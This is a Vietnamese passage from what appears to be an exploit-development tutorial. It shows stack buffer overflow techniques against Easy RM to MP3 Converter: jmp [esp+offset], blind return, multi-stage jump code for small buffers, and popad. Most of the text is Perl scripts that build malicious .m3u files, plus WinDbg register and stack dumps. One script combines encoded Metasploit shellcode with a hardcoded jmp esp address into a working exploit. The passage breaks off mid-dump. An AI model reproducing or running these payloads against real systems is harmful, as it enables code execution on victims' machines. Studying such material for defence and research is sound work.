Một kỹ thuật khác để khắc phục tình trạng shellcode bắt đầu ở vị trí offset của thanh ghi ( ESP trong ví dụ) là thử tìm lệnh jmp [reg + offset] và ghi đè EIP bằng địa chỉ của lệnh này. Giá sử chúng ta cần nhảy 8bytes ( như trong ví dụ trước), sử dụng kỹ thuật jmp reg+offset nhảy 8bytes tới trực tiếp shell code.
Chúng ta cần 3 thứ:
Tìm được opcode của esp+8h.
Tìm được địa chỉ trỏ tới lệnh này.
Ghi đè EIP bằng địa chỉ đó.
Sử dụng windbg tìm opcode:
0:014> a
7c90120e jmp [esp + 8]
jmp [esp + 8]
7c901212

0:014> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e ff642408        jmp     dword ptr [esp+8]
Opcode là ff642408
Bây giở bạn cần tìm kiếm những dll có opcode này, và sử dụng địa chỉ đó ghi đè EIP. Nhưng tôi không thể tìm được opcode này ở bất kỳ đâu. Đương nhiên, không giới hạn việc tìm kiếm phải là esp+8, có thể là lớn hơn 8, khi đó ta sẽ thêm một số NOP cho phù hợp.
  1. Blind return
Kỹ thuật này gồm 2 bước sau:
Ghi đè EIP với địa chỉ trỏ tới lênh RET.
Biết được địa chỉ 4bytes đầu của ESP.
Khi lệnh RET được thực thi, sẽ lấy 4bytes này ( lúc này đang ở đỉnh stack) ghi vào EIP.
Exploit nhảy tới shellcode.
Kỹ thuật này có tác dụng khi:
Bạn không thể trỏ EIP tới một thanh ghi ( vì không tìm được lệnh jump hay call nào).
Bạn điều kiển được ESP.
Để thực hiện được, bạn cần phải có địa chỉ bộ nhớ của shellcode ( = địa chỉ stack). Như thường lệ, để tránh null bytes bạn thường đặt shellcode sau EIP. Nếu shellcode đặt ở vị trí không có null bytes, nó có thể làm việc.
Tìm địa chỉ của lệnh RET trong các dll.
Thiết lập 4bytes đầu của ESP trỏ tới nơi shellcode bắt đầu, và ghi đè EIP với địa chỉ trỏ tới lệnh RET. Nhớ rằng trong phần 1, ESP trỏ tới 0x000ff730, đương nhiên địa chỉ này thay đổi theo từng hệ điều hành, nhưng không có cách nào khác ngoài đặt cứng địa chỉ. Buffer sẽ trông như sau:
[26094 A’s][address of ret][0x000fff730][shellcode]
  1. Xử lý small buffer, nhảy tới bất kỳ với jump code.

Chúng ta đã nói về cách làm cho EIP nhảy tới shellcode của chúng ta. Rõ ràng là chúng ta đã thoải mái đặt shellcode trong buffer ( phần sau EIP). Nhưng nếu chúng ta không có đủ độ lớn để đặt shellcode vào thì sao?
Trong ví dụ, chúng ta sử dụng 26094 A để ghi đè lên EIP, và chúng tôi thấy rằng ESP trỏ tới 26094+4bytes, có rất nhiều không gian ở phía trước. Nhưng nếu chúng ta chỉ có 50bytes phía sau. 50bytes để lưu trữ shellcode là không đủ. Vì vậy, chúng ta phải tìm xung quanh, và sử dụng 26094 khi kích hoạt tràn bộ nhớ đệm.
Đầu tiên, chúng ta cần tìm 26094 bytes này ở đâu trong bộ nhớ. Nếu không tìm thấy nó ở đâu, rất khó để tham chiếu tới. Thực tế nếu tìm thấy trong bộ nhớ, và một thanh ghi nào đó trỏ đến đó thì điều đó trở nên quá dễ dàng.
Thử kiểm tra Easy RM to MP3, bạn có thể thấy rằng 26094 bytes có thể thấy trong ESP dump:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "X" x 54;  #let's pretend this is the only space we have available
my $nop = "\x90" x 230;  #added some nops to visually separate our 54 X's from other data

open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";
Mở file test1.m3u, chúng ta sẽ thấy:
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff740  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff750  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff760  58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90  XX..............
000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff7b0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7e0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7f0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff800  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff810  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff820  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff830  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff840  90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41  .........AAAAAAA
000ff850  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff860  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff870  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
Chúng ta thấy 50 X trong ESP. Giả sử đó là không gian dành cho shellcode. Tuy nhiên, nhìn xuống dưới, chúng ta thấy rằng A bắt đầu tại địa chỉ 000ff849  (=ESP+281).
Khi nhìn vào các thanh ghi khác, chúng ta không thấy dấu vết nào của X và A. Vì vậy, đây chính là nó. Chúng ta có thể ngảy tới ESP để thực thi shellcode, nhưng chúng ta chỉ có 50bytes. Chúng ta sẽ sử dụng phần bộ nhớ khác trong buffer của chúng ta ở vị trí thấp hơn, thực tế chúng ta sẽ nhảy tới phần nội dung của ESP, sẽ có phần bộ nhớ lớn với A.
Thật may mắn, A được lưu trữ và có cách từ X để nhảy tới A, để làm được như vậy ta cần một số điều sau:
Vị trí 26094 A phải nằm trong ESP. 000ff849 ("Nơi nào A được thể hiện trong ESP thực sự bắt đầu?) (Vì vậy nếu chúng ta muốn để shellcode của chúng tôi bên trong các là A, chúng ta cần để biết chính xác nơi nó cần phải được đặt)
“Jumpcode” : mã chúng ta dùng để nhảy từ X tới A. Mã này không thể lớn hơn 50 byte (bởi vì đó là tất cả có sẵn trực tiếp tại ESP)
Chúng ta có thể tìm vị trí chính xác bằng đoán, custom patterns, metasploit patterns. Ở đây chúng ta sử dụng metasploit’s patterns, tạo ra 1000 characters và thay thế trong perlscript, nên sẽ còn 25101 A’s
my $file= "test1.m3u";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa....g8Bg9Bh0Bh1Bh2B";
my $junk= "A" x 25101;
my $eip = "BBBB";
my $preshellcode = "X" x 54;  #let's pretend this is the only space we have available at ESP
my $nop = "\x90" x 230;  #added some nops to visually separate our 54 X's from other data in the ESP dump

open($FILE,">$file");
print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff740  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff750  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff760  58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90  XX..............
000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff7b0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7e0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7f0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff800  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff810  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff820  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff830  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff840  90 90 90 90 90 90 90 90-00 35 41 69 36 41 69 37  .........5Ai6Ai7
000ff850  41 69 38 41 69 39 41 6a-30 41 6a 31 41 6a 32 41  Ai8Ai9Aj0Aj1Aj2A
000ff860  6a 33 41 6a 34 41 6a 35-41 6a 36 41 6a 37 41 6a  j3Aj4Aj5Aj6Aj7Aj
000ff870  38 41 6a 39 41 6b 30 41-6b 31 41 6b 32 41 6b 33  8Aj9Ak0Ak1Ak2Ak3
000ff880  41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41  Ak4Ak5Ak6Ak7Ak8A
000ff890  6b 39 41 6c 30 41 6c 31-41 6c 32 41 6c 33 41 6c  k9Al0Al1Al2Al3Al
000ff8a0  34 41 6c 35 41 6c 36 41-6c 37 41 6c 38 41 6c 39  4Al5Al6Al7Al8Al9
Chúng ta thấy 000ff849 là một phần mẫu, 4 ký tự đầu là 5Ai6.
Sử dụng metasploit pattern_offset utility, chúng ta thấy 4 ký tự này ở offset 257. Như vậy thay vì đưa 26094 A, tôi sẽ đưa 257 A, tiếp theo là shellcode của chúng ta, và phần còn lại là A nữa. Thậm chí tốt hơn sẽ là bắt đầu với 250 A, rồi 50 NOP, shellcode của chúng ta, rồi A. Nếu đặt NOP trước shellcode, nó sẽ làm việc tốt.
Perl script của chúng ta sẽ như sau:
my $file= "test1.m3u";
my $buffersize = 26094;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";
my $preshellcode = "X" x 54;  #let's pretend this is the only space we have available
my $nop2 = "\x90" x 230;  #added some nops to visually separate our 54 X's from other data

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$nop2;
close($FILE);
print "m3u File Created successfully\n";
Khi application dies, chúng ta có thể thấy 50 NOPs của chúng ta bắt đầu từ 000ff848, tiếp theo là shellcode (0x90 tại 000ff874), và sau đó một lần nữa tiếp theo của A. Có vẻ tốt đẹp.
(188.c98): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff740  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff750  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff760  58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90  XX..............
000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff7b0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7e0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff7f0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff800  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff810  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff820  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:000> d
000ff830  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff840  90 90 90 90 90 90 90 90-00 90 90 90 90 90 90 90  ................
000ff850  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff870  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA
000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
Điều thứ hai chúng ta cần làm là xây dựng jump code. Mục tiêu của jump code là để nhảy ESP+281. Nhảy ESP+281 yêu cầu: Add 281 vào thanh ghi ESP, sau đó jump esp. 281 = 119h. Đừng cố gắng cho tất cả vào một lệnh, hoặc opcode đó sẽ có null bytes.
Vì có NOP phía trước, nên không cần thiết phải chính xác hoàn hảo. Miễn là chúng ta thêm 281 ( hoặc hơn), nó có thể làm việc. Có 50bytes cho jump code, đó không phải là vấn đề.
Tiến hành thêm 0x5e  (94) 3 lần, sau đó jump to esp, mã assemly sẽ là:
add esp,0x5e
add esp,0x5e
add esp,0x5e
jmp esp
Sử dụng Windbg để lấy opcode:
0:014> a
7c901211 add esp,0x5e
add esp,0x5e
7c901214 add esp,0x5e
add esp,0x5e
7c901217 add esp,0x5e
add esp,0x5e
7c90121a jmp esp
jmp esp
7c90121c

0:014> u 7c901211
ntdll!DbgBreakPoint+0x3:
7c901211 83c45e          add     esp,5Eh
7c901214 83c45e          add     esp,5Eh
7c901217 83c45e          add     esp,5Eh
7c90121a ffe4            jmp     esp
Opcode cho jump code sẽ là: 0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4
my $file= "test1.m3u";
my $buffersize = 26094;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";  #position 300

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
  "\x83\xc4\x5e" .               #add esp,0x5e
  "\x83\xc4\x5e" .               #add esp,0x5e
  "\xff\xe4";                    #jmp esp

my $nop2 = "0x90" x 10;   # only used to visually separate

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
jumpcode đã đặt ở ESP. Khi được gọi, ESP trỏ đến NOPS ( ở giữa 00ff842 và 000ff873). Shellcode bắt đầu ở 000ff874.
(45c.f60): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  83 c4 5e 83 c4 5e 83 c4-5e ff e4 00 01 00 00 00  ..^..^..^.......
000ff740  30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41  0.......AAAAAAAA
000ff750  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff760  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff770  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff780  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff790  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
000ff7b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff7f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff800  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff810  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff820  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
000ff830  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff840  41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90  AA..............
000ff850  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff870  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA
000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
Cuối cùng là ghi đè EIP với jmp esp, quay lại phần 1 ta sẽ có thể làm được ở địa chỉ 0x01ccf23a. Tóm lại, điều gì xảy ra khi overflow:
Shellcode thực sự được đặt ở phần đầu chuỗi, và kết thúc tại ESP+300. Shellcode thực sự được cách một số NOP cho phép nhảy một số bit.
EIP bị ghi đè với địa chỉ 0x01ccf23a, trỏ tới jmp esp
Data sau EIP bị ghi đè với jumpcode thêm 282 vào ESP và nhảy đến đó.
Khi payload được gửi, EIP sẽ jump to esp, rồi nhảy tới ESP+282, Nop bỏ qua, shellcode được thực hiện.
Sử dụng break thay cho shellcode:
my $file= "test1.m3u";
my $buffersize = 26094;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";  #position 300

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll

my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
  "\x83\xc4\x5e" .               #add esp,0x5e
  "\x83\xc4\x5e" .               #add esp,0x5e
  "\xff\xe4";                    #jmp esp

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
EIP = 0x000ff874 = begin of shellcode
(d5c.c64): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
eip=000ff874 esp=000ff84a ebp=003440c0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff863:
000ff874 cc              int     3
0:000> d esp
000ff84a  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff85a  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff86a  90 90 90 90 90 90 90 90-90 90 cc 41 41 41 41 41  ...........AAAAA
000ff87a  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff88a  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff89a  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8aa  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8ba  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
Thay thế bằng shellcode thực sự, thay A bằng NOP:
my $file= "test1.m3u";
my $buffersize = 26094;

my $junk= "\x90" x 200;
my $nop = "\x90" x 50;

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" .
"\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" .
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" .
"\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" .
"\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" .
"\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" .
"\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" .
"\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" .
"\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" .
"\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x30\x45" .
"\x38\x4c\x30\x4c\x4a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b" .
"\x4e\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x42\x43\x43" .
"\x51\x42\x4c\x45\x33\x45\x50\x41\x41";

my $restofbuffer = "\x90" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll

my $preshellcode = "X" x 4;

my $jumpcode = "\x83\xc4\x5e" .   #add esp,0x5e
  "\x83\xc4\x5e" .               #add esp,0x5e
  "\xff\xe4";                    #jmp esp

my $nop2 = "0x90" x 10;   # only used to visually separate

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";
pwned again :-)
  1. Một số cách nhảy khác

Popad: lệnh này giúp chúng ta nhảy tới shellcode khá tốt. popad (pop all double) sẽ lấy double words từ trong stack (ESP) vào các thanh đa năng chỉ trong một lần. Thứ tự các thanh ghi được nạp là: EDI, ESI, EBP, EBX, EDX, ECX và EAX. Kết quả là ESP sẽ tăng lên sau mỗi lần load vào, một popad sẽ lấy 32bytes từ ESP và đặt vào các thanh ghi theo thứ tự.
Popad có opcode là 0x61.
Giả sử bạn cần nhảy 40bytes, mà chỉ có vài bytes thực hiện lệnh nhảy, có thể dùng 2popad để trỏ ESP tới shellcode ( với một vài bytes NOP để bù vào 2x32 – 40)
Bây giờ chúng ta sẽ sử dụng Easy RM to MP3 để demo kỹ thuật này. Vẫn sử dụng script cũ, chúng ta sẽ xây dựng buffer giả tại 13 X, tiếp theo là một số bytes rác ( D và A), rồi đến shellcode của chúng ta ( NOP+A).
my $file= "test1.m3u";
my $buffersize = 26094;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";
my $preshellcode = "X" x 17;  #let's pretend this is the only space we have available
my $garbage = "\x44" x 100;  #let’s pretend this is the space we need to jump over

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
print "m3u File Created successfully\n";
Mở file bằng Easy RM to MP3, appication die, ESP sẽ như sau:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c91005d edx=003f0000 esi=77c5fce0 edi=0000666d
eip=42424242 esp=000ff730 ebp=00344158 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??              ???
0:000> d esp
000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 44 44 44  XXXXXXXXXXXXXDDD |  => 13 bytes
000ff740  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD |  => garbage
000ff750  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
000ff760  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
000ff770  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
000ff780  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
000ff790  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD | => garbage
000ff7a0  00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA | => garbage
0:000> d
000ff7b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff7c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff7d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff7e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff7f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff800  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff810  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff820  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
0:000> d
